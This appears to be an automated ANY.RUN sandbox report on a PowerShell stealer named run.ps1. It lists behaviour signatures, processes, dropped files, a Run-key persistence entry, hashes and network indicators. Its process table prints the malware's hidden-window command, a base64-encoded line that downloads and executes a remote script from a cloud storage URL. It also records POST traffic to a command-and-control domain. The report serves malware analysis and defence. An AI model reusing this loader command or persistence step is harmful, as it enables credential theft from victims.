File name:

run.ps1

Full analysis: https://app.any.run/tasks/a4aaccbd-0d4e-4b2a-8acc-66ba9e5285c6
Verdict: Malicious activity
Threats:

Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns.

Malware Trends Tracker     >>>
Analysis date: November 24, 2024, 11:03:42
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
stealer
Indicators:
MIME: text/plain
File info: ASCII text, with no line terminators
MD5:

B5BFDD224013448370AC42494978287E

SHA1:

5C1E350850FC763FE430C022F1CF33759AA2F8B5

SHA256:

7C692A1C61444928A990B5EC566340F5295F523712A892429FCA98682B2D2073

SSDEEP:

6:MjXfBKBM3S1RpTCsu2xKtBUs76NOctnyeAz9NfMF/H:MzfBaIS1fC26Us7TctPAz9NfE/H

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 5040)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 624)

    • Modifies registry (POWERSHELL)

      • powershell.exe (PID: 5040)

    • Steals credentials from Web Browsers

      • msiexec.exe (PID: 5556)

    • Actions looks like stealing of personal data

      • msiexec.exe (PID: 5556)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • powershell.exe (PID: 624)

    • Possibly malicious use of IEX has been detected

      • powershell.exe (PID: 624)

    • Application launched itself

      • powershell.exe (PID: 624)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 5040)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 5040)
      • mdnsresponder.exe (PID: 2940)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 5040)

    • Process drops legitimate windows executable

      • powershell.exe (PID: 5040)

    • Extracts files to a directory (POWERSHELL)

      • powershell.exe (PID: 5040)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 5040)

    • Gets file extension (POWERSHELL)

      • powershell.exe (PID: 5040)

    • The process drops C-runtime libraries

      • powershell.exe (PID: 5040)

    • Starts application with an unusual extension

      • mdnsresponder.exe (PID: 2940)

    • Process drops SQLite DLL files

      • mdnsresponder.exe (PID: 2940)
      • powershell.exe (PID: 5040)

  • INFO

    • Disables trace logs

      • powershell.exe (PID: 5040)

    • Checks proxy server information

      • powershell.exe (PID: 5040)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 5040)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 5040)

    • The process uses the downloaded file

      • powershell.exe (PID: 5040)

    • Checks supported languages

      • mdnsresponder.exe (PID: 2940)
      • more.com (PID: 5972)

    • Reads the computer name

      • mdnsresponder.exe (PID: 2940)
      • more.com (PID: 5972)

    • Creates files or folders in the user directory

      • mdnsresponder.exe (PID: 2940)

    • Create files in a temporary directory

      • mdnsresponder.exe (PID: 2940)
      • more.com (PID: 5972)

    • Reads the software policy settings

      • msiexec.exe (PID: 5556)

    • The executable file from the user directory is run by the Powershell process

      • mdnsresponder.exe (PID: 2940)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
128
Monitored processes
7
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start powershell.exe no specs conhost.exe no specs powershell.exe mdnsresponder.exe more.com no specs conhost.exe no specs msiexec.exe

Process information

PID
CMD
Path
Indicators
Parent process
624"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass C:\Users\admin\Desktop\run.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2940"C:\Users\admin\AppData\Roaming\YrsbtdxL\mdnsresponder.exe" C:\Users\admin\AppData\Roaming\YrsbtdxL\mdnsresponder.exe
powershell.exe
User:
admin
Company:
iTop Inc.
Integrity Level:
MEDIUM
Description:
iTop Data Recovery Service
Exit code:
1
Version:
4.0.0.168
Modules
Images
c:\users\admin\appdata\roaming\yrsbtdxl\mdnsresponder.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\oleaut32.dll
3128\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—more.com
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3620\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5040"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -w HiDden "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vbmV3NjQub3NzLWFwLXNvdXRoZWFzdC0xLmFsaXl1bmNzLmNvbS9HcUhRV05Ndi50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
5556C:\WINDOWS\SysWOW64\msiexec.exeC:\Windows\SysWOW64\msiexec.exe
more.com
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\users\admin\appdata\local\temp\ngq
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
5972C:\WINDOWS\SysWOW64\more.comC:\Windows\SysWOW64\more.com—mdnsresponder.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
More Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\more.com
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\ulib.dll
Total events
13 285
Read events
13 284
Write events
1
Delete events
0

Modification events

(PID) Process:(5040) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:NetUtilityApp
Value:
C:\Users\admin\AppData\Roaming\YrsbtdxL\mdnsresponder.exe
Executable files
78
Suspicious files
10
Text files
4
Unknown types
0

Dropped files

PID
Process
Filename
Type
624powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5453rilw.vvy.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
624powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1360c1.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
5040powershell.exeC:\Users\admin\AppData\Roaming\YrsbtdxL\HEIC-NET.dllexecutable
MD5:F71EAB315B80F78427311034A6BB46E2
SHA256:4F27E6E32F1DFF1BC6B0F4E79B32A07DA5554844CE4820A7920E5107C67F2F40
624powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:1BFC33230050DF1F3929C869BA2B2AA4
SHA256:838B11E03AFE88980D1B7CFF23A811AE4B05DE8B4A55399904CF6572B1528706
5040powershell.exeC:\Users\admin\AppData\Roaming\YrsbtdxL\HEIC_DLL_v142.dllexecutable
MD5:A706480C10F094BBCE144E92A48A9E63
SHA256:27D4A7C49206D81B0BCDBD2922C0A1BC36177ECB315041233126B654A78A8A86
5040powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_23ntvpki.ldl.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5040powershell.exeC:\Users\admin\AppData\Roaming\LuLUoTPN.zipcompressed
MD5:336AE4F91BDAAB9FD548A0BB96E85BF3
SHA256:B9068030CEDBF08F1149951AD6AFDDE65025383E3D27E2123ECE23F6363DDE51
5040powershell.exeC:\Users\admin\AppData\Roaming\YrsbtdxL\HtmlRenderer.dllexecutable
MD5:5CBE9851C19E0E20E503C5445A362BD4
SHA256:DB83DF8E7C877FFB0916C14C9AD6D31FD4C27CAA8CF70FEE780F6FEE15A81640
5040powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_caiqqink.pg5.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
624powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JQ6H108Z91JL9QH0XXOY.tempbinary
MD5:1BFC33230050DF1F3929C869BA2B2AA4
SHA256:838B11E03AFE88980D1B7CFF23A811AE4B05DE8B4A55399904CF6572B1528706
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
15
TCP/UDP connections
26
DNS requests
9
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1468
RUXIMICS.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4328
svchost.exe
GET
200
2.16.241.19:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
2.16.241.19:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
1468
RUXIMICS.exe
GET
200
2.16.241.19:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
POST
200
172.67.193.71:443
https://sturdy-operated.cyou/api
unknown
text
15 b
—
—
—
POST
200
104.21.20.178:443
https://sturdy-operated.cyou/api
unknown
text
15 b
—
—
—
POST
200
104.21.20.178:443
https://sturdy-operated.cyou/api
unknown
text
48 b
—
—
—
POST
200
172.67.193.71:443
https://sturdy-operated.cyou/api
unknown
text
15 b
—
—
—
POST
200
172.67.193.71:443
https://sturdy-operated.cyou/api
unknown
text
15 b
—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4712
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
4328
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1468
RUXIMICS.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
2.23.209.149:443
www.bing.com
Akamai International B.V.
GB
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1468
RUXIMICS.exe
2.16.241.19:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4712
MoUsoCoreWorker.exe
2.16.241.19:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4328
svchost.exe
2.16.241.19:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
1468
RUXIMICS.exe
88.221.169.152:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 4.231.128.59
whitelisted
www.bing.com
  • 2.23.209.149
  • 2.23.209.133
  • 2.23.209.176
  • 2.23.209.185
  • 2.23.209.179
  • 2.23.209.148
  • 2.23.209.187
  • 2.23.209.182
  • 2.23.209.177
whitelisted
google.com
  • 216.58.212.142
whitelisted
crl.microsoft.com
  • 2.16.241.19
  • 2.16.241.12
whitelisted
www.microsoft.com
  • 88.221.169.152
whitelisted
new64.oss-ap-southeast-1.aliyuncs.com
  • 47.79.48.241
unknown
sturdy-operated.cyou
  • 172.67.193.71
  • 104.21.20.178
unknown
self.events.data.microsoft.com
  • 104.208.16.91
whitelisted

Threats

PID
Process
Class
Message
2192
svchost.exe
Misc activity
ET INFO DNS Query to Alibaba Cloud CDN Domain (aliyuncs .com)
5040
powershell.exe
Misc activity
ET INFO Observed Alibaba Cloud CDN Domain (aliyuncs .com in TLS SNI)
No debug info
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Reports
run.ps1